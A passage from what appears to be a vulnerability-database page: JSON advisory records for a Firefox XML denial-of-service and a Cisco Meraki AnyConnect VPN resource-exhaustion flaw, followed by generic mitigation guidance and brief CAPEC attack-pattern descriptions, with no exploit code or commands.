  "details": "Denial-of-service in the XML component. This vulnerability affects Firefox \u003c 149.",
  "id": "GHSA-2r77-x4qh-mhc3",
  "modified": "2026-03-25T21:30:28Z",
  "published": "2026-03-24T15:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4726"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1955311"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-20"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2R9M-635C-RMWJ

Vulnerability from github – Published: 2024-10-02 21:30 – Updated: 2024-10-02 21:30
VLAI
Details

A vulnerability in the Cisco AnyConnect VPN server of Cisco Meraki MX and Cisco Meraki Z Series Teleworker Gateway devices could allow an unauthenticated, remote attacker to cause a DoS condition on an affected device.

This vulnerability is due to insufficient resource management while establishing SSL VPN sessions. An attacker could exploit this vulnerability by sending a series of crafted HTTPS requests to the VPN server of an affected device. A successful exploit could allow the attacker to cause the Cisco AnyConnect VPN server to stop accepting new connections, preventing new SSL VPN connections from being established. Existing SSL VPN sessions are not impacted. Note: When the attack traffic stops, the Cisco AnyConnect VPN server recovers gracefully without requiring manual intervention.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-20502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-02T19:15:14Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Cisco AnyConnect VPN server of Cisco Meraki MX and Cisco Meraki Z Series Teleworker Gateway devices could allow an unauthenticated, remote attacker to cause a DoS condition on an affected device.\n\nThis vulnerability is due to insufficient resource management while establishing SSL VPN sessions. An attacker could exploit this vulnerability by sending a series of crafted HTTPS requests to the VPN server of an affected device. A successful exploit could allow the attacker to cause the Cisco AnyConnect VPN server to stop accepting new connections, preventing new SSL VPN connections from being established. Existing SSL VPN sessions are not impacted.\nNote: When the attack traffic stops, the Cisco AnyConnect VPN server recovers gracefully without requiring manual intervention.",
  "id": "GHSA-2r9m-635c-rmwj",
  "modified": "2024-10-02T21:30:34Z",
  "published": "2024-10-02T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20502"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-meraki-mx-vpn-dos-QTRHzG2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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